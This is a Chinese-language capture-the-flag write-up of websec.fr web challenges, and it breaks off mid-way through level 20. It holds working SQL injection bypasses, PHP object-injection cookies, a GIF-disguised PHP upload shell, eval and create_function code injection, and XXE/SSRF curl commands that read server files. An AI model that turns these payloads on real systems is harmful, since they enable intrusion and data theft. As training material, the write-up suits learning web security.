Tianji's Blog.

websec.fr-writeup

Word count: 6,021 / Reading time: 35 min
2018/09/04 Share

level1

获取数据表的结构:

须知:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
sqlite> pragma table_info(users);
+-----+----------+---------+---------+------------+----+
| cid | name | type | notnull | dflt_value | pk |
+-----+----------+---------+---------+------------+----+
| 0 | id | integer | 1 | NULL | 1 |
| 1 | login | text | 0 | NULL | 0 |
| 2 | password | TEXT | 0 | NULL | 0 |
+-----+----------+---------+---------+------------+----+
3 rows in set (0.04 sec)
sqlite> select sql from sqlite_master;
+-------------------------------------------------------------------------------------------------+
| sql |
+-------------------------------------------------------------------------------------------------+
| CREATE TABLE "users" (
"id" integer NOT NULL,
"login" text,
"password" TEXT,
PRIMARY KEY ("id")
) |
+-------------------------------------------------------------------------------------------------+
1 row in set (0.04 sec)
sqlite> select * from users where id=1 union select 1, 2, sql from sqlite_master;
+----+----------+------------------------------------ --------------------------------------------+
| id | login | password |
+----+----------+---------------------------------------------------------------------------------+
| 1 | 2 | CREATE TABLE "users" (
"id" integer NOT NULL,
"login" text,
"password" TEXT,
PRIMARY KEY ("id")
) |
| 1 | user_two | admino1 |
+----+----------+---------------------------------------------------------------------------------+
2 rows in set (0.04 sec)

payload:

1
5 union select 1, sql from sqlite_master

结果:

CREATE TABLE users(id int(7), username varchar(255), password varchar(255))

获取flag。

1
5 union select 1,password from users where id=1

level2

payload:

1
2
3
4
5
ht@TIANJI:/mnt/d/ht-blog$ curl -d "user_id=5 uniounionn seselectlect 1,password frfromom users where id=1&submit=1" https://websec.fr/level02/index.php | grep -Eo "WEBSEC{.*}"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1962 0 1883 100 79 1211 50 0:00:01 0:00:01 --:--:-- 1211
WEBSEC{BecauseBlacklistsAreOftenAgoodIdea}

level3

参考链接:

第二个测试如下(7.0.30):

1
2
3
4
5
6
php > $hash = password_hash("\x00 abc", PASSWORD_DEFAULT);
php > var_dump(password_verify("\x00 foo", $hash)); // true ???
bool(true)
php > $hash = password_hash("\x00 abc", PASSWORD_DEFAULT);
php > var_dump(password_verify('\x00 foo', $hash)); // true ???
bool(false)

我们来看一下sha1函数:

sha1($_POST[‘c’], false)将返回一个40位字符长度的16进制数字,而不是一个20位的字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if(isset($_POST['c'])) {
/* Get rid of clever people that put `c[]=bla`
* in the request to confuse `password_hash`
*/
$h2 = password_hash (sha1($_POST['c'], fa1se), PASSWORD_BCRYPT);

echo "<div class='row'>";
if (password_verify (sha1($flag, fa1se), $h2) === true) {
echo "<p>Here is your flag: <mark>$flag</mark></p>";
} else {
echo "<p>Here is the <em>hash</em> of your flag: <mark>" . sha1($flag, false) . "</mark></p>";
}
echo "</div>";
}
?>

随机输入一个值,我们发现sha1($flag, false)的值为7c00249d409a91ab84e3f421c193520d9fb3674b

第三位和第四位都是0,所以参考上边的文章,我们只需要找到一个sha1之后的值以7c00开头的值即可。

1
2
3
4
5
6
7
8
9
<?php                                               
for($i = 0; $i < 100000000; $i++) {
if(substr(sha1($i, false), 0, 4) == "7c00") {
echo substr(sha1($i, false), 0, 4);
echo "\n";
echo $i;
break;
}
}

得到104610

getflag:

1
2
ht@TIANJI:/mnt/d/wamp64/www/backdoor$ curl -d "c=104610" https://websec.fr/level03/index.php | grep -Eo "WEBSEC{.*}"
WEBSEC{Please_Do_not_combine_rAw_hash_functions_mi}

level4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

class SQL {
public $query = '';
public $conn;
public function __construct() {
}

public function connect() {
$this->conn = new SQLite3 ("database.db", SQLITE3_OPEN_READONLY);
}

public function SQL_query($query) {
$this->query = $query;
}

public function execute() {
return $this->conn->query ($this->query);
}

public function __destruct() {
if (!isset ($this->conn)) {
$this->connect ();
}

$ret = $this->execute ();
if (false !== $ret) {
while (false !== ($row = $ret->fetchArray (SQLITE3_ASSOC))) {
echo '<p class="well"><strong>Username:<strong> ' . $row['username'] . '</p>';
}
}
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
include 'connect.php';

$sql = new SQL();
$sql->connect();
$sql->query = 'SELECT username FROM users WHERE id=';


if (isset ($_COOKIE['leet_hax0r'])) {
$sess_data = unserialize (base64_decode ($_COOKIE['leet_hax0r']));
try {
if (is_array($sess_data) && $sess_data['ip'] != $_SERVER['REMOTE_ADDR']) {
die('CANT HACK US!!!');
}
} catch(Exception $e) {
echo $e;
}
} else {
$cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
setcookie ('leet_hax0r', $cookie, time () + (86400 * 30));
}

if (isset ($_REQUEST['id']) && is_numeric ($_REQUEST['id'])) {
try {
$sql->query .= $_REQUEST['id'];
} catch(Exception $e) {
echo ' Invalid query';
}
}
?>

获取数据库创建信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ht@TIANJI:/mnt/d/ht-blog$ curl -b "leet_hax0r=TzozOiJTUUwiOjI6e3M6NToicXVlcnkiO3M6NDE6InNlbGVjdCBzcWwgYXMgdXNlcm5hbWUgZnJvbSBzcWxpdGVfbWFzdGVyIjtzOjQ6ImNvbm4iO047fQ==" https://websec.fr/level04/index.php

<!DOCTYPE html>
<html>
<head>
<title>#WebSec Level Four</title>
<link rel="stylesheet" href="../static/bootstrap.min.css" />
</head>
<body>
<div id="main">
<div class="container">
<div class="row">
<h1>LevelFour <small> - Cereal is nation</small></h1>
</div>
<div class="row">
<p class="lead">
Since we're lazy, we take advantage of php's garbage collector to properly display query results.<br>
We also do like to write neat OOP.
You can get the sources <a href="source1.php">here</a> and <a href="source2.php">here</a>.
</p>
</div>
</div>
<div class="container">
<div class="row">
<form class="form-inline" method='post'>
<input name='id' class='form-control' type='text' placeholder='User id'>
<input class="form-control btn btn-default" name="submit" value='Go' type='submit'>
</form>
</div>
</div>
</div>
</body>
</html>
<p class="well"><strong>Username:<strong> CREATE TABLE users(id int, username varchar, password varchar)</p>

CREATE TABLE users(id int, username varchar, password varchar)

获取flag:

1
2
3
4
5
ht@TIANJI:/mnt/d/ht-blog$ curl -b "leet_hax0r=TzozOiJTUUwiOjI6e3M6NToicXVlcnkiO3M6NTE6InNlbGVjdCBwYXNzd29yZCBhcyB1c2VybmFtZSBmcm9tIHVzZXJzIHdoZXJlIGlkID0gMSI7czo0OiJjb25uIjtOO30=" https://websec.fr/level04/index.php | grep -Eo "WEBSEC{.*}"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1441 0 1441 0 0 862 0 --:--:-- 0:00:01 --:--:-- 861
WEBSEC{9abd8e8247cbe62641ff662e8fbb662769c08500}

level7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL);

function sanitize($str) {
/* Rock-solid ! */
$special1 = ["!", "\"", "#", "$", "%", "&", "'", "+", "-"];
$special2 = [".", "/", ":", ";", "<", "=", ">", "?", "@"];
$special3 = ["[", "]", "^", "_", "`", "\\", "|", "{", "}"];

$sql = ["or", "is", "like", "glob", "join", "0", "limit", "char"];

$blacklist = array_merge($special1, $special2, $special3, $sql);

foreach ($blacklist as $value) {
if (stripos ($str, $value) !== false)
die ("Presence of '" . $value . "' detected: abort, abort, abort!\n");
}
}

if (isset ($_POST['submit']) && isset ($_POST['user_id'])) {
$injection = $_POST['user_id'];
$pdo = new SQLite3 ('database.db', SQLITE3_OPEN_READONLY);

sanitize ($injection);

//$query = 'SELECT id,login,password FROM users WHERE id=' . $injection;
$query = 'SELECT id,login FROM users WHERE id=' . $injection;
$getUsers = $pdo->query ($query);
$users = $getUsers->fetchArray (SQLITE3_ASSOC);

$userDetails = false;
if ($users) {
$userDetails = $users;
}
}
?>

trick:

过滤了<, =, > 可以使用in 或者 between ... and...替代。

过滤了'",可以使用一些方法替代单引号,比如

  • hex

该方法在mysql下表现如下:

1
2
3
4
5
6
mysql> select hex(119);
+----------+
| hex(119) |
+----------+
| 77 |
+----------+

在sqllite中表现如下:

1
2
3
4
5
6
sqlite> select hex(119);
+----------+
| hex(119) |
+----------+
| 313139 |
+----------+

所以本题中不适合使用该方法。

  • substr,截取字符串

测试:

查询所有数据。

1
2
3
4
5
6
7
8
9
sqlite> select * from (select 1)a,(select 2)b, (select 3)c union select * from users;
+---+-----------+---------+
| 1 | 2 | 3 |
+---+-----------+---------+
| 0 | user_one | flag |
| 1 | 2 | 3 |
| 1 | user_two | admino1 |
| 2 | user_tree | admine1 |
+---+-----------+---------+

查询password字段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mysql> select j.3 from (select * from (select 1)a,(select 2)b, (select 3)c union select * from users)j;             // 虽然 mysql 支持".3"的语法,最好还是去别名比较好,下文会提到。
+---------+
| 3 |
+---------+
| 3 |
| admino2 |
| admine |
+---------+
3 rows in set (0.00 sec)
-------------------------------------------------------------------------------------------------
sqlite> select j.3 from (select * from (select 1)a,(select 2)b, (select 3)c union select * from users)j; // 可以看到 sqlite 不支持 ".3",但是可以取别名的方式
near ".3": syntax error
sqlite> select j.x3 from (select * from (select 1 x1)a,(select 2 x2)b, (select 3 x3)c union select * from users)j; //给1,2,3分别取别名`x1`,`x2`,`x3`,这里`j.x3`可以替换为`x3`没有问题,因为仅有一列列名为`x3`
+---------+
| x3 |
+---------+
| flag |
| 3 |
| admino1 |
| admine1 |
+---------+
4 rows in set (0.04 sec)

提取id为1的一行数据。

mysql下:

1
2
3
4
5
6
7
mysql> select x3 from (select * from (select 4 x1)a,(select 2 x2)b, (select 3 x3)c union select * from users)j where x1 in (1);
+---------+
| x3 |
+---------+
| admino2 |
+---------+
1 row in set (0.00 sec)

sqlite下, 由于sqlite不支持right()hex()函数有所区别,需要另辟蹊径:

1
2
3
4
5
6
7
sqlite> select x3 from (select * from (select 4 x1)a,(select 2 x2)b, (select 3 x3)c union select * from users)d where x1 between 1 and 1;
+---------+
| x3 |
+---------+
| admino1 |
+---------+
1 row in set (0.04 sec)

最终payload:

mysql有效,最开始的payload有些复杂:

1
select id, login from users where id = 5 union select (select 5)g,(select x2 from (select * from (select 1)a,(select 2 x1)b, (select 3 x2)c union select * from users)j where hex(right(x1, 1)) in (hex(111)))f;

改进版:

1
select id, login from users where id = 5 union select (select 5)g,(select x3 from (select * from (select 4 x1)a,(select 2 x2)b, (select 3 x3)c union select * from users)j where x1 in (1))f

sqlite有效,一开始,有点复杂,记录一下:

1
select id, login from users where id = 5 union select (select 2)g, (select x2 from (select * from (select 1 as x3)a,(select 2 x1)b, (select 3 x2)c union select * from users)h where x3 between 1 and 1 and length(x1) between 8 and 8)f;

改进版:

1
select id, login from users where id = 5 union select (select 2)g, (select x3 from (select * from (select 4 x1)a,(select 2 x2)b, (select 3 x3)c union select * from users)d where x1 between 1 and 1)f;

WEBSEC{Because_blacklist_based_filter_are_always_great}

其他payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
99 union select b,c from(select 1 a, 2 b, 3 c where 1 in (4) union select * from users)x where a between 1 and 1


3 union select (WITH RECURSIVE cnt(x,y,z) AS (select * from users) SELECT z FROM cnt where nullif(x,2)),1


select id,login from users where id=9 union select b,c from (select 1 as a,2 as b,3 as c where 1 in (2) union select * from users where id in (1))


null -- using an illegal user id, so that we don't get rows from the original select

union

select 1, c from (
select null, null, null as c -- using any name works, as long as we name the third column
from (select 1 where null) -- selecting from an empty table ensures that this part doesn't actually contribute to the join

union

select * from users -- now we can use select *. union renames `password` to `c`
where id between 1 and 1 -- again, we want exactly one row. Since we can't use = or -, we use between
)

level9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL);
if( isset ($_GET['submit']) && isset ($_GET['c'])) {
$randVal = sha1 (time ());

setcookie ('session_id', $randVal, time () + 2, '', '', true, true);

try {
$fh = fopen('/tmp/' . $randVal, 'w');

fwrite (
$fh,
str_replace (
['<?', '?>', '"', "'", '$', '&', '|', '{', '}', ';', '#', ':', '#', ']', '[', ',', '%', '(', ')'],
'',
$_GET['c']
)
);
fclose($fh);
} catch (Exception $e) {
var_dump ($e->getMessage ());
}
}

if (isset ($_GET['cache_file'])) {
if (file_exists ($_GET['cache_file'])) {
echo eval (stripcslashes (file_get_contents ($_GET['cache_file'])));
}
}
?>

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
stripcslashes('readfile\x28\x27flag.txt\x27\x29\x3b');

echo file_get_contents\50\42flag.txt\42\51\73

include <<<EOT
flag.txt EOT ?>
encode =>
include+<<<EOT%0aflag.txt%0aEOT%0a%3f%3f>>
eval( stripcslashes(urldecode('include+<<<EOT%0aflag.txt%0aEOT%0a%3f>')));

import requests
s = requests.session()
LEVEL09 = "http://websec.fr/level09/index.php"
c = """include<<<EOD
flag.txt
EOD
??>>"""
param = {"c":c,"submit":"OK"}
r = s.get(LEVEL09,params=param)
file_cache = r.cookies['session_id']
param = {"cache_file":"/tmp/"+file_cache,"a":"1234"}
r = s.get(LEVEL09,params=param)
print r.text

level8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
$uploadedFile = sprintf('%1$s/%2$s', '/uploads', sha1($_FILES['fileToUpload']['name']) . '.gif');

if (file_exists ($uploadedFile)) { unlink ($uploadedFile); }

if ($_FILES['fileToUpload']['size'] <= 50000) {
if (getimagesize ($_FILES['fileToUpload']['tmp_name']) !== false) {
if (exif_imagetype($_FILES['fileToUpload']['tmp_name']) === IMAGETYPE_GIF) {
move_uploaded_file ($_FILES['fileToUpload']['tmp_name'], $uploadedFile);
echo '<p class="lead">Dump of <a href="/level08' . $uploadedFile . '">'. htmlentities($_FILES['fileToUpload']['name']) . '</a>:</p>';
echo '<pre>';
include_once($uploadedFile);
echo '</pre>';
unlink($uploadedFile);
} else { echo '<p class="text-danger">The file is not a GIF</p>'; }
} else { echo '<p class="text-danger">The file is not an image</p>'; }
} else { echo '<p class="text-danger">The file is too big</p>'; }
?>
</div>
<?php endif ?>

这里使用exif_imagetype函数检测图片是否是GIF,该函数仅检查开头几个字节。

payload, 列目录:

1
2
3
4
5
GIF89
<?php
echo "shell"; $dr = @opendir('./');
while(($files[] = readdir($dr)) !== false);
print_r($files);?>

结果:

1
2
3
4
5
6
7
8
9
10
11
Array
(
[0] => .
[1] => uploads
[2] => ..
[3] => flag.txt
[4] => source.php
[5] => index.php
[6] => php-fpm.sock
[7] =>
)

查看flag.txt:

1
2
3
4
GIF89
<?php
var_dump(file_get_contents("flag.txt"));
?>

level10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if (isset ($_REQUEST['f']) && isset ($_REQUEST['hash'])) {
$file = $_REQUEST['f'];
$request = $_REQUEST['hash'];

$hash = substr (md5 ($flag . $file . $flag), 0, 8);

echo '<div class="row"><br><pre>';
if ($request == $hash) {
show_source ($file);
} else {
echo 'Permission denied!';
}
echo '</pre></div>';
}
?>

知识点:

1
2
3
4
php > var_dump("0" == "0e251234");
bool(true)
php > var_dump("0" == "0e2abcde");
bool(false)

hash0

通过构造 f = '.' + '/' * i + 'flag.php',让后爆破即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python
# coding: utf-8
from requests import *
import sys
url = 'http://websec.fr/level10/index.php'
f = './flag.php'
i = 880
data = {
'f': f,
'hash': 0,
}
while True:
i += 1
r = post(url, data=data)
if 'Permission denied!' in r.content:
f = '.' + '/' * i + 'flag.php'
else:
print('[*] successful payload : {0}'.format(f))
print(r.content)
sys.exit(0)

level11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL);

function sanitize($id, $table) {
/* Rock-solid: https://secure.php.net/manual/en/function.is-numeric.php */
if (! is_numeric ($id) or $id < 2) {
exit("The id must be numeric, and superior to one.");
}

/* Rock-solid too! */
$special1 = ["!", "\"", "#", "$", "%", "&", "'", "*", "+", "-"];
$special2 = [".", "/", ":", ";", "<", "=", ">", "?", "@", "[", "\\", "]"];
$special3 = ["^", "_", "`", "{", "|", "}"];
$sql = ["union", "0", "join", "as"];
$blacklist = array_merge ($special1, $special2, $special3, $sql);
foreach ($blacklist as $value) {
if (stripos($table, $value) !== false)
exit("Presence of '" . $value . "' detected: abort, abort, abort!\n");
}
}

if (isset ($_POST['submit']) && isset ($_POST['user_id']) && isset ($_POST['table'])) {
$id = $_POST['user_id'];
$table = $_POST['table'];

sanitize($id, $table);

$pdo = new SQLite3('database.db', SQLITE3_OPEN_READONLY);
$query = 'SELECT id,username FROM ' . $table . ' WHERE id = ' . $id;
//$query = 'SELECT id,username,enemy FROM ' . $table . ' WHERE id = ' . $id;

$getUsers = $pdo->query($query);
$users = $getUsers->fetchArray(SQLITE3_ASSOC);

$userDetails = false;
if ($users) {
$userDetails = $users;
$userDetails['table'] = htmlentities($table);
}
}
?>

由于$table可控,所以,可以通过子查询绕过。

1
2
3
user_id=4&table=(select 4 id, enemy username from costume)&submit=%E6%8F%90%E4%BA%A4
结果:
WEBSEC{Who_needs_AS_anyway_when_you_have_sqlite}

level12

参考链接: https://www.anquanke.com/post/id/167140#h3-2

首先通过finfo得到源码:

new finfo('1', '/')

略长,没有完全给出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
/*
Congratulation, you can read this file, but this is not the end of our journey.

- Thanks to cutz for the QA.
- Thanks to blotus for finding a (now fixed) weakness in the "encryption" function.
- Thanks to nurfed for nagging us about a cheat
*/

$text = 'Niw0OgIsEykABg8qESRRCg4XNkEHNg0XCls4BwZaAVBbLU4EC2VFBTooPi0qLFUELQ==';
$key = ini_get ('user_agent');

if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1') {
if ($_SERVER['HTTP_USER_AGENT'] !== $key) {
die ("Cheating is bad, m'kay?");
}

$i = 0;
$flag = '';
foreach (str_split (base64_decode ($text)) as $letter) {
$flag .= chr (ord ($key[$i++]) ^ ord ($letter));
}
die ($flag);
}
?>

然后还需要获取php.ini中的user-agent。由于路径未知,所以需要其他办法。

虽然过滤了splfileobject, globiterator, filesystemiterator, and directoryiterator,但是可以绕过。

new \SplFileObject("http://39.106.97.201", 1)

绕过原因:

Without any namespace definition, all class and function definitions are placed into the global space - as it was in PHP before namespaces were supported. Prefixing a name with \ will specify that the name is required from the global space even in the context of the namespace.

得到user-agent:

1
2
3
4
5
6
7
8
9
<?php
$key = "aiviGohdahvueL0dedi5hievi0Ahsh1aor9aiQu5eemaisi7Phai9PhohpheiweiP7eifooVooviesh9meighoolahm3Phe0Ii6gieL1Pidoodiephein3iK8tae3aec";
$text = "Niw0OgIsEykABg8qESRRCg4XNkEHNg0XCls4BwZaAVBbLU4EC2VFBTooPi0qLFUELQ==";
$flag = "";
foreach (str_split (base64_decode ($text)) as $letter) {
$flag .= chr (ord ($key[$i++]) ^ ord ($letter));
}

echo $flag;

得到flag.

其他payload:

1
2
3
4
5
6
得到源码:
curl -s --data 'submit=&class=SimpleXMLElement&param2=2&param1=<!DOCTYPE xxe [<!ENTITY foo SYSTEM "php://filter/read=convert.base64-encode/resource=/index.php">]><root>%26foo;</root>' http://websec.fr/level12/index.php | grep -oE -m1 '<pre>(.*)</pre>'
可以继续获取php.ini,路径未知,
也可以:
通过ssrf获取flag:
curl -s --data 'submit=&class=SimpleXMLElement&param2=2&param1=<!DOCTYPE xxe [<!ENTITY foo SYSTEM "http://127.0.0.1/level12/index.php">]><root>%26foo;</root>' http://websec.fr/level12/index.php | grep -oE -m1 'WEBSEC{.*}'
1
2
3
4
5
6
It's possible to bypass the class filter by using Global namespace, thus we can use \SplFileObject along with a php://filter in order to read the whole file, as in:

curl -sd 'submit=&class=\SplFileObject&param1=php://filter/convert.base64-encode/resource=index.php&param2=r' http://websec.fr/level12/index.php | grep -oE '<pre>(.*)</pre>'
The page source we get (encoded in base64) contains some php codes that hint at using SSRF to decrypt the $flag with the server's $key = ini_get ('user_agent');, i.e.:

curl -sd 'submit=&class=\SplFileObject&param1=php://filter/convert.quoted-printable-encode/resource=http://127.0.0.1/level12/index.php&param2=r' http://websec.fr/level12/index.php | grep -oE 'WEBSEC{.*}'

level14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

$funcs_internal = get_defined_functions()['internal'];

/* lets allow some secure funcs here */
unset ($funcs_internal[array_search('strlen', $funcs_internal)]);
unset ($funcs_internal[array_search('print', $funcs_internal)]);
unset ($funcs_internal[array_search('strcmp', $funcs_internal)]);
unset ($funcs_internal[array_search('strncmp', $funcs_internal)]);

$funcs_extra = array ('eval', 'include', 'require', 'function');
$funny_chars = array ('\.', '\+', '-', '\*', '"', '`', '\[', '\]');
$variables = array ('_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_FILES', '_ENV', 'HTTP_ENV_VARS', '_SESSION', 'GLOBALS');

$blacklist = array_merge($funcs_internal, $funcs_extra, $funny_chars, $variables);

$insecure = false;
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
$insecure = true;
break;
}
}

if ($insecure) {
echo 'Insecure code detected!';
} else {
eval ($code);
}

?>

php的tricks:

1
2
3
4
5
6
7
8
9
10
ht@TIANJI:~/temp$ php -a
Interactive mode enabled

php > 'system'('ls');
1.php
php > $a = ['1','system'];
php > echo $a{1};
system
php > $a{1}('ls');
1.php

执行phpinfo()

1
$blacklist{562}();

根据爬去的方法名中可以找到如下几个方法:

1
2
3
4
finfo_open
finfo_close
finfo_set_flags
finfo_file

说明开启了php_fileinfo扩展。

从而可以得到payload:

需要开启错误显示:

1
2
3
4
print(new finfo(6,'/'));

这个也行:
new finfo(0,'/');

payload集锦:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$payload = ~'_GET';
$payloadToSend = '$a=${~'. $payload .'};$a{0}($a{1});';

$ch = curl_init('http://websec.fr/level14/index.php?0=assert&1=var_dump(file_get_contents(\'0e7efcd6e821f4bb90af4e4c439001944c1769da.php\'))');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
'code' => $payloadToSend,
));
echo curl_exec($ch);
curl_close($ch);
1
2
3
4
5
6
7
Using finfo to read files but "." is blacklisted...

PHP takes binary operations like a|b will be considered as 'c'

So trying to craft a "." with '&' | ','

We can now send code=new finfo(1,('&'|',')); and we get an error of finfo but with the content of every files in the directory.
1
2
3
4
http://websec.fr/level14/index.php?a=assert&b=var_dump(scandir('.'))
http://websec.fr/level14/index.php?a=assert&b=readfile('0e7efcd6e821f4bb90af4e4c439001944c1769da.php')

code=${~%a0%b8%ba%ab}{a}(${~%a0%b8%ba%ab}{b});

level15

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL);

$success = '
<div class="alert alert-success alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
Function declared.
</div>
';

include "flag.php";

if (isset ($_POST['c']) && !empty ($_POST['c'])) {
$fun = create_function('$flag', $_POST['c']);
print($success);
//fun($flag);
if (isset($_POST['q']) && $_POST['q'] == 'checked') {
die();
}
}
?>

create_function参数可控,可以代码执行。

payload: echo 2;}echo $flag;/*

curl -v -d “c=%65%63%68%6f%20%32%3b%7d%65%63%68%6f%20%24%66%6c%61%67%3b%2f%2a” https://websec.fr/level15/index.php | grep -Eo “WEBSEC{.*?}”

curl -v -d “c=echo 2;}echo \$flag;/*&q=0” https://websec.fr/level15/index.php

level17

1
2
3
4
5
6
<?php
if (! strcasecmp ($_POST['flag'], $flag))
echo '<div class="alert alert-success">Here is your flag: <mark>' . $flag . '</mark>.</div>';
else
echo '<div class="alert alert-danger">Invalid flag, sorry.</div>';
?>

传递数组即可绕过strcasecmp检测。

curl http://websec.fr/level17/index.php -d “flag[]=” | grep -Eo “WEBSEC{.*}”

level18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include "flag.php";

if (isset ($POST['obj'])) {
setcookie ('obj', $_POST['obj']);
} elseif (!isset ($_COOKIE['obj'])) {
$obj = new stdClass;
$obj->input = 1234;
setcookie ('obj', serialize ($obj));
}
?>
<?php if (isset ($_COOKIE['obj'])): ?>
<br>
<div class="container">
<div class="row">
<?php
$obj = $_COOKIE['obj'];
$unserialized_obj = unserialize ($obj);
$unserialized_obj->flag = $flag;
if (hash_equals ($unserialized_obj->input, $unserialized_obj->flag))
echo '<div class="alert alert-success">Here is your flag: <mark>' . $flag . '</mark>.</div>';
else
echo '<div class="alert alert-danger"><code>' . htmlentities($obj) . '</code> is an invalid object, sorry.</div>';
?>
</div>
</div>
<?php endif ?>

payload:

1
2
3
4
5
6
7
8
9
10
11
12
data = new stdClass;
$data->flag = 1234;
$data->input = &$data->flag;

$data1 = serialize($data);

=>

O:8:"stdClass":2:{s:4:"flag";i:1234;s:5:"input";R:2;}

url编码 =>
O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A4%3A%22flag%22%3Bi%3A1234%3Bs%3A5%3A%22input%22%3BR%3A2%3B%7D
1
2
3
4
5
ht@TIANJI:/mnt/d/ht-blog$ curl -b 'obj=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A4%3A%22flag%22%3Bi%3A1234%3Bs%3A5%3A%22input%22%3BR%3A2%3B%7D' https://websec.fr/level18/index.php | grep -Eo "WEBSEC{.*}"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1879 0 1879 0 0 423 0 --:--:-- 0:00:04 --:--:-- 584
WEBSEC{You_have_impressive_refrences._We'll_call_you_back.}

WEBSEC{You_have_impressive_refrences._We’ll_call_you_back.}`

level20

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

include "flag.php";

class Flag {
public function __destruct() {
global $flag;
echo $flag;
}
}

function sanitize($data) {
/* i0n1c's bypass won't save you this time! (https://www.exploit-db.com/exploits/22547/) */
if ( ! preg_match ('/[A-Z]:/', $data)) {
return unserialize ($data);
}

if ( ! preg_match ('/(^|;|{|})O:[0-9+]+:"/', $data )) {
return unserialize ($data);
}

return false;
}

$data = Array();
if (isset ($_COOKIE['data'])) {
$data = sanitize (base64_decode ($_COOKIE['data']));
}

if (isset ($_POST['value']) and ! empty ($_POST['value'])) {
/* Add a value twice to remove it from the list. */
if (($key = array_search ($_POST['value'], $data)) !== false) {
unset ($data[$key]);
} else { /* Else, simply add it. */
array_push ($data, $_POST['value']);
}
setcookie ('data', base64_encode (serialize ($data)));
}

?>

i0n1c’s bypass:

1
a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}

我们可以看到正则表达式过滤了+,使用/[A-Z]: 替换了if ( strpos( $serialized, 'O:' ) === false )

通过阅读文档,我们发现如下记录:

Changelog:

Version Description
7.1.0 The allowed_classes element of options) is now strictly typed, i.e. if anything other than an array or a boolean is given, unserialize() returns FALSE and issues an E_WARNING.
7.0.0 The options parameter has been added.
5.6.0 Manipulating the serialised data by replacing C: with O: to force object instantiation without calling the constructor will now fail.

大意就是:5.6不允许将修改已经序列化数据中的C:改为O:来避免调用类中生成器。

可参考改文章: https://segmentfault.com/q/1010000010242774。

C:表示类里边有unserialize方法。

O:表示类里边没有unserialize方法。

php5.3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class obj implements Serializable {
public $data;
public function __construct() {
$this->data = "My private data";
}
public function serialize() {
return serialize($this->data);
}
public function unserialize($data) {
echo 'test';
}
}

$test = new obj();
echo serialize($test);//输出C:3:"obj":23:{s:15:"My private data";}

var_dump(unserialize('C:3:"obj":23:{s:15:"My private data";}'));//调用unserialize方法,输出test
var_dump(unserialize('O:3:"obj":1:{s:4:"data";s:15:"My private data";}'));//没有调用unserialize方法,没有输出

php5.6:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class obj implements Serializable {
public $data;
public function __construct() {
$this->data = "My private data";
}
public function serialize() {
return serialize($this->data);
}
public function unserialize($data) {
echo 'test';
}
}

$test = new obj();
echo serialize($test);//输出C:3:"obj":23:{s:15:"My private data";}

var_dump(unserialize('C:3:"obj":23:{s:15:"My private data";}'));//调用unserialize方法,输出test
var_dump(unserialize('O:3:"obj":1:{s:4:"data";s:15:"My private data";}'));//抛出了一个Warning,PHP Warning: Erroneous data format for unserializing 'obj'

所以其实这个更新的意思就是说,不能靠修改序列化的数据,在不调用对象构造器的情况下实例化对象。

C:不能改为O:, 但是我们可以尝试将O:改为C:

测试如下payload:

